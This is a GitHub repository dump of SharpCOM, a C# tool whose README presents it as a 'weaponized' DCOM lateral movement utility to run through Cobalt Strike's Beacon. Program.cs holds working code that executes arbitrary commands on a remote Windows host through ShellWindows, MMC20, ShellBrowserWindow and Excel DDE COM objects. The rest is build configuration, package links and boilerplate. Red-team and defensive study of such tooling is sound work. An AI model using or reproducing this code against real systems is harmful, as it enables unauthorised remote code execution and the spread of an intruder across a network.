├── .gitignore ├── .gitattributes ├── packages ├── Fody.3.3.3 │ ├── .signature.p7s │ ├── Fody.3.3.3.nupkg │ ├── netclassictask │ │ ├── Fody.dll │ │ ├── FodyCommon.dll │ │ ├── FodyHelpers.dll │ │ ├── Mono.Cecil.dll │ │ ├── Mono.Cecil.pdb │ │ ├── FodyIsolated.dll │ │ ├── Mono.Cecil.Mdb.dll │ │ ├── Mono.Cecil.Mdb.pdb │ │ ├── Mono.Cecil.Pdb.dll │ │ ├── Mono.Cecil.Pdb.pdb │ │ ├── Mono.Cecil.Rocks.dll │ │ └── Mono.Cecil.Rocks.pdb │ ├── netstandardtask │ │ ├── Fody.dll │ │ ├── FodyCommon.dll │ │ ├── Mono.Cecil.dll │ │ ├── Mono.Cecil.pdb │ │ ├── FodyHelpers.dll │ │ ├── FodyIsolated.dll │ │ ├── Mono.Cecil.Mdb.dll │ │ ├── Mono.Cecil.Mdb.pdb │ │ ├── Mono.Cecil.Pdb.dll │ │ ├── Mono.Cecil.Pdb.pdb │ │ ├── Mono.Cecil.Rocks.dll │ │ └── Mono.Cecil.Rocks.pdb │ └── build │ │ └── Fody.targets ├── Costura.Fody.3.2.1 │ ├── .signature.p7s │ ├── lib │ │ └── net40 │ │ │ ├── Costura.dll │ │ │ └── Costura.xml │ ├── Costura.Fody.3.2.1.nupkg │ ├── netclassicweaver │ │ ├── Costura.Fody.dll │ │ ├── Costura.Fody.pdb │ │ └── Costura.Fody.xcf │ ├── netstandardweaver │ │ ├── Costura.Fody.dll │ │ ├── Costura.Fody.pdb │ │ └── Costura.Fody.xcf │ └── build │ │ └── Costura.Fody.props └── NDesk.Options.0.2.1 │ ├── .signature.p7s │ ├── lib │ └── NDesk.Options.dll │ └── NDesk.Options.0.2.1.nupkg ├── SharpCOM ├── FodyWeavers.xml ├── App.config ├── packages.config ├── Properties │ └── AssemblyInfo.cs ├── SharpCOM.csproj ├── Program.cs └── FodyWeavers.xsd ├── README.md ├── SharpCOM.sln └── LICENSE /.gitignore: -------------------------------------------------------------------------------- 1 | .vs 2 | *.user 3 | [Dd]ebug/ 4 | [Rr]elease/ 5 | [Bb]in/ 6 | [Oo]bj/ -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /packages/Fody.3.3.3/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/.signature.p7s -------------------------------------------------------------------------------- /packages/Fody.3.3.3/Fody.3.3.3.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/Fody.3.3.3.nupkg -------------------------------------------------------------------------------- /packages/Costura.Fody.3.2.1/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Costura.Fody.3.2.1/.signature.p7s -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netclassictask/Fody.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netclassictask/Fody.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netstandardtask/Fody.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netstandardtask/Fody.dll -------------------------------------------------------------------------------- /packages/NDesk.Options.0.2.1/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/NDesk.Options.0.2.1/.signature.p7s -------------------------------------------------------------------------------- /packages/Costura.Fody.3.2.1/lib/net40/Costura.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Costura.Fody.3.2.1/lib/net40/Costura.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netclassictask/FodyCommon.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netclassictask/FodyCommon.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netclassictask/FodyHelpers.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netclassictask/FodyHelpers.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netclassictask/Mono.Cecil.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netclassictask/Mono.Cecil.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netclassictask/Mono.Cecil.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netclassictask/Mono.Cecil.pdb -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netstandardtask/FodyCommon.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netstandardtask/FodyCommon.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netstandardtask/Mono.Cecil.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netstandardtask/Mono.Cecil.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.pdb -------------------------------------------------------------------------------- /packages/NDesk.Options.0.2.1/lib/NDesk.Options.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/NDesk.Options.0.2.1/lib/NDesk.Options.dll -------------------------------------------------------------------------------- /packages/Costura.Fody.3.2.1/Costura.Fody.3.2.1.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Costura.Fody.3.2.1/Costura.Fody.3.2.1.nupkg -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netclassictask/FodyIsolated.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netclassictask/FodyIsolated.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netstandardtask/FodyHelpers.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netstandardtask/FodyHelpers.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netstandardtask/FodyIsolated.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netstandardtask/FodyIsolated.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netclassictask/Mono.Cecil.Mdb.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Mdb.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netclassictask/Mono.Cecil.Mdb.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Mdb.pdb -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netclassictask/Mono.Cecil.Pdb.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Pdb.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netclassictask/Mono.Cecil.Pdb.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Pdb.pdb -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netclassictask/Mono.Cecil.Rocks.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Rocks.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netclassictask/Mono.Cecil.Rocks.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Rocks.pdb -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Mdb.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Mdb.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Mdb.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Mdb.pdb -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Pdb.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Pdb.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Pdb.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Pdb.pdb -------------------------------------------------------------------------------- /packages/NDesk.Options.0.2.1/NDesk.Options.0.2.1.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/NDesk.Options.0.2.1/NDesk.Options.0.2.1.nupkg -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Rocks.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Rocks.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Rocks.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Rocks.pdb -------------------------------------------------------------------------------- /packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.dll -------------------------------------------------------------------------------- /packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.pdb -------------------------------------------------------------------------------- /packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.dll -------------------------------------------------------------------------------- /packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rvrsh3ll/SharpCOM/HEAD/packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.pdb -------------------------------------------------------------------------------- /SharpCOM/FodyWeavers.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /SharpCOM/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /SharpCOM/packages.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /packages/Costura.Fody.3.2.1/build/Costura.Fody.props: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | netclassicweaver 5 | netstandardweaver 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /packages/Costura.Fody.3.2.1/lib/net40/Costura.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Costura 5 | 6 | 7 | 8 | 9 | Contains methods for interacting with the Costura system. 10 | 11 | 12 | 13 | 14 | Call this to Initialize the Costura system. 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SharpCOM 2 | 3 | SharpCOM is a c# port of [Invoke-DCOM](https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1) 4 | 5 | 6 | Major credit to @cobbr_io for the initial conversion of Invoke-DCOM to c# in [SharpSploit](https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/LateralMovement/DCOM.cs) 7 | 8 | 9 | This version is meant to be a "weaponized" port of the SharpSploit DCOM lateral movement module. 10 | 11 | 12 | As an example, one could execute SharpCOM.exe through Cobalt Strike's Beacon "execute-assembly" module. 13 | 14 | 15 | #### Example usage 16 | beacon>execute-assembly /root/SharpCOM/SharpCOM.exe --Method ShellWindows --ComputerName hosta.example.local --Command "calc.exe" 17 | -------------------------------------------------------------------------------- /SharpCOM/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpCOM")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpCOM")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("51960f7d-76fe-499f-afbd-acabd7ba50d1")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharpCOM.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28307.136 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpCOM", "SharpCOM\SharpCOM.csproj", "{51960F7D-76FE-499F-AFBD-ACABD7BA50D1}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x86 = Debug|x86 12 | Release|Any CPU = Release|Any CPU 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Debug|x86.ActiveCfg = Debug|x86 19 | {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Debug|x86.Build.0 = Debug|x86 20 | {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Release|x86.ActiveCfg = Release|Any CPU 23 | {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Release|x86.Build.0 = Release|Any CPU 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {A3265EB5-B0B5-4E25-B88F-84853FD8F07B} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2018, Steve Borosh 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /packages/Fody.3.3.3/build/Fody.targets: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | $(ProjectDir)FodyWeavers.xml 5 | $(MSBuildThisFileDirectory)..\ 6 | $(FodyPath)netstandardtask 7 | $(FodyPath)netclassictask 8 | $(FodyAssemblyDirectory)\Fody.dll 9 | $(MSBuildProjectFile).Fody.CopyLocal.cache 10 | $(DefaultItemExcludes);FodyWeavers.xsd 11 | true 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 31 | 32 | 52 | 53 | 56 | 57 | 58 | 59 | 60 | 61 | 65 | 66 | 70 | 71 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 89 | 90 | 97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.xcf: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks 7 | 8 | 9 | 10 | 11 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. 12 | 13 | 14 | 15 | 16 | A list of unmanaged 32 bit assembly names to include, delimited with line breaks. 17 | 18 | 19 | 20 | 21 | A list of unmanaged 64 bit assembly names to include, delimited with line breaks. 22 | 23 | 24 | 25 | 26 | The order of preloaded assemblies, delimited with line breaks. 27 | 28 | 29 | 30 | 31 | 32 | This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. 33 | 34 | 35 | 36 | 37 | Controls if .pdbs for reference assemblies are also embedded. 38 | 39 | 40 | 41 | 42 | Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. 43 | 44 | 45 | 46 | 47 | As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. 48 | 49 | 50 | 51 | 52 | Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. 53 | 54 | 55 | 56 | 57 | Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. 58 | 59 | 60 | 61 | 62 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | 63 | 64 | 65 | 66 | 67 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. 68 | 69 | 70 | 71 | 72 | A list of unmanaged 32 bit assembly names to include, delimited with |. 73 | 74 | 75 | 76 | 77 | A list of unmanaged 64 bit assembly names to include, delimited with |. 78 | 79 | 80 | 81 | 82 | The order of preloaded assemblies, delimited with |. 83 | 84 | 85 | -------------------------------------------------------------------------------- /packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.xcf: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks 7 | 8 | 9 | 10 | 11 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. 12 | 13 | 14 | 15 | 16 | A list of unmanaged 32 bit assembly names to include, delimited with line breaks. 17 | 18 | 19 | 20 | 21 | A list of unmanaged 64 bit assembly names to include, delimited with line breaks. 22 | 23 | 24 | 25 | 26 | The order of preloaded assemblies, delimited with line breaks. 27 | 28 | 29 | 30 | 31 | 32 | This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. 33 | 34 | 35 | 36 | 37 | Controls if .pdbs for reference assemblies are also embedded. 38 | 39 | 40 | 41 | 42 | Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. 43 | 44 | 45 | 46 | 47 | As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. 48 | 49 | 50 | 51 | 52 | Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. 53 | 54 | 55 | 56 | 57 | Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. 58 | 59 | 60 | 61 | 62 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | 63 | 64 | 65 | 66 | 67 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. 68 | 69 | 70 | 71 | 72 | A list of unmanaged 32 bit assembly names to include, delimited with |. 73 | 74 | 75 | 76 | 77 | A list of unmanaged 64 bit assembly names to include, delimited with |. 78 | 79 | 80 | 81 | 82 | The order of preloaded assemblies, delimited with |. 83 | 84 | 85 | -------------------------------------------------------------------------------- /SharpCOM/SharpCOM.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Debug 7 | AnyCPU 8 | {51960F7D-76FE-499F-AFBD-ACABD7BA50D1} 9 | Exe 10 | SharpCOM 11 | SharpCOM 12 | v4.5 13 | 512 14 | true 15 | true 16 | 17 | 18 | 19 | 20 | 21 | AnyCPU 22 | true 23 | full 24 | false 25 | bin\Debug\ 26 | DEBUG;TRACE 27 | prompt 28 | 4 29 | false 30 | 31 | 32 | AnyCPU 33 | pdbonly 34 | true 35 | bin\Release\ 36 | TRACE 37 | prompt 38 | 4 39 | false 40 | 41 | 42 | true 43 | bin\x86\Debug\ 44 | DEBUG;TRACE 45 | full 46 | x86 47 | prompt 48 | MinimumRecommendedRules.ruleset 49 | true 50 | 51 | 52 | bin\x86\Release\ 53 | TRACE 54 | true 55 | pdbonly 56 | x86 57 | prompt 58 | MinimumRecommendedRules.ruleset 59 | true 60 | 61 | 62 | 63 | ..\packages\Costura.Fody.3.2.1\lib\net40\Costura.dll 64 | 65 | 66 | ..\packages\NDesk.Options.0.2.1\lib\NDesk.Options.dll 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. 86 | 87 | 88 | 89 | 90 | -------------------------------------------------------------------------------- /SharpCOM/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using NDesk.Options; 3 | using System.Reflection; 4 | 5 | namespace SharpCOM 6 | { 7 | public class Program 8 | { 9 | public static void Main(string[] args) 10 | { 11 | string Method = null; 12 | string ComputerName = null; 13 | string Directory = "C:\\WINDOWS\\System32\\"; 14 | string Parameters = "/c"; 15 | string BaseCommand = "cmd.exe"; 16 | string Command = null; 17 | bool showhelp = false; 18 | OptionSet opts = new OptionSet() 19 | { 20 | { "Method=", " --Method ShellWindows", v => Method = v }, 21 | { "ComputerName=", "--ComputerName host.example.local", v => ComputerName = v }, 22 | { "Command=", "--Command calc.exe", v => Command = v }, 23 | { "Parameters=", "--Parameters", v => Parameters =v }, 24 | { "h|?|help", "Show available options", v => showhelp = v != null }, 25 | }; 26 | 27 | try 28 | { 29 | opts.Parse(args); 30 | } 31 | catch (OptionException e) 32 | { 33 | Console.WriteLine(e.Message); 34 | } 35 | 36 | if (showhelp) 37 | { 38 | Console.WriteLine("RTFM"); 39 | opts.WriteOptionDescriptions(Console.Out); 40 | Console.WriteLine("[*] Example: SharpCOM.exe --Method ShellWindows --ComputerName localhost --Command calc.exe"); 41 | return; 42 | } 43 | 44 | try 45 | { 46 | if (Method == "ShellWindows") 47 | { 48 | var CLSID = "9BA05972-F6A8-11CF-A442-00A0C90A8F39"; 49 | Type ComType = Type.GetTypeFromCLSID(new Guid(CLSID), ComputerName); 50 | object RemoteComObject = NewMethod(ComType); 51 | object Item = RemoteComObject.GetType().InvokeMember("Item", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { }); 52 | object Document = Item.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, Item, null); 53 | object Application = Document.GetType().InvokeMember("Application", BindingFlags.GetProperty, null, Document, null); 54 | Application.GetType().InvokeMember("ShellExecute", BindingFlags.InvokeMethod, null, Application, new object[] { BaseCommand, Parameters + " " + Command, Directory, null, 0 }); 55 | } 56 | else if (Method == "MMC") 57 | { 58 | Type ComType = Type.GetTypeFromProgID("MMC20.Application", ComputerName); 59 | object RemoteComObject = Activator.CreateInstance(ComType); 60 | object Document = RemoteComObject.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, RemoteComObject, null); 61 | object ActiveView = Document.GetType().InvokeMember("ActiveView", BindingFlags.GetProperty, null, Document, null); 62 | ActiveView.GetType().InvokeMember("ExecuteShellCommand", BindingFlags.InvokeMethod, null, ActiveView, new object[] { Command , null , Parameters , 7 }); 63 | } 64 | else if (Method == "ShellBrowserWindow") 65 | { 66 | var CLSID = "C08AFD90-F2A1-11D1-8455-00A0C91F3880"; 67 | Type ComType = Type.GetTypeFromCLSID(new Guid(CLSID), ComputerName); 68 | object RemoteComObject = Activator.CreateInstance(ComType); 69 | object Document = RemoteComObject.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, RemoteComObject, null); 70 | object Application = Document.GetType().InvokeMember("Application", BindingFlags.GetProperty, null, Document, null); 71 | Application.GetType().InvokeMember("ShellExecute", BindingFlags.InvokeMethod, null, Application, new object[] { BaseCommand, Parameters + " " + Command, Directory, null, 0 }); 72 | } 73 | else if (Method == "ExcelDDE") 74 | { 75 | Type ComType = Type.GetTypeFromProgID("Excel.Application", ComputerName); 76 | object RemoteComObject = Activator.CreateInstance(ComType); 77 | RemoteComObject.GetType().InvokeMember("DisplayAlerts", BindingFlags.SetProperty, null, RemoteComObject, new object[] { false }); 78 | RemoteComObject.GetType().InvokeMember("DDEInitiate", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { Command, Parameters }); 79 | } 80 | else 81 | { 82 | Console.WriteLine("You must supply arguments!"); 83 | } 84 | } 85 | catch (Exception e) 86 | { 87 | Console.Error.WriteLine("DCOM Failed: " + e.Message); 88 | } 89 | 90 | } 91 | 92 | private static object NewMethod(Type ComType) 93 | { 94 | return Activator.CreateInstance(ComType); 95 | } 96 | } 97 | } 98 | 99 | 100 | 101 | -------------------------------------------------------------------------------- /SharpCOM/FodyWeavers.xsd: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks 13 | 14 | 15 | 16 | 17 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. 18 | 19 | 20 | 21 | 22 | A list of unmanaged 32 bit assembly names to include, delimited with line breaks. 23 | 24 | 25 | 26 | 27 | A list of unmanaged 64 bit assembly names to include, delimited with line breaks. 28 | 29 | 30 | 31 | 32 | The order of preloaded assemblies, delimited with line breaks. 33 | 34 | 35 | 36 | 37 | 38 | This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. 39 | 40 | 41 | 42 | 43 | Controls if .pdbs for reference assemblies are also embedded. 44 | 45 | 46 | 47 | 48 | Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. 49 | 50 | 51 | 52 | 53 | As part of Costura, embedded 